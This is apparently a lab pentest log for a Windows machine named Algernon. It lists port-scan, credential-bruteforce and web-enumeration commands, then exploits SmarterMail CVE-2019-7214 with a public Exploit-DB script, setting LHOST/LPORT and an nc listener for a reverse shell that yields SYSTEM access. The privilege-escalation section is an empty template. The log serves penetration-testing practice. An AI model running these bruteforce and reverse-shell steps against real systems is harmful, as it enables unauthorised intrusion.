🧪 Pentest Log: {{date:2025-08-11}}

🔍 Target Information

• Machine Name: Algernon
• IP Address: 192.168.187.65
• Operating System: Windows

ip=192.168.187.65

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 21

Anonymous Login

ftp anonymous@$ip

Bruteforce Common Credentials

hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -6 ftp://$ip

Port 80

Web Directory Scan

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

feroxbuster --url http://$ip

wpscan --url http://$ip

dirsearch -u http://$ip -r -o dirsearch.txt

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://$ip$/ -H "Host: FUZZ.website.com"

nikto -h http://$ip


curl -s http://$ip/ | html2markdown

Port 135

rpcclient -U '' -N $ip

Port 139/445

smbclient -L \\\\$ip\\

enum4linux -a $ip

Port 9998

Smartmail

Google "smartermail unauthenticated exploit", found CVE-2019-7214

Port 17001

💣 Exploitation / Foothold

📌 Vulnerability Summary

• Service / Port: 9998
• Vulnerability Type: RCE

🚀 Exploit Execution

🔧 Exploit Method

• Manual
• Public Exploit
• Custom Script

Tool / Script Used:

https://www.exploit-db.com/exploits/49216

LHOST='192.168.45.163'
LPORT=9998

python3 exploit.py


nc -lvnp 9998

🧬 Privilege Escalation

👤 Current Access

• User: nt authority\system
• Groups: N/A
• Shell Type: powershell reverse shell

🔍 Enumeration

🔓 Privilege Escalation Exploit

📌 Exploit Summary

• Technique Used: N/A
• Target Binary/Service: N/A
• Reference / Source: N/A

🔧 Exploit Steps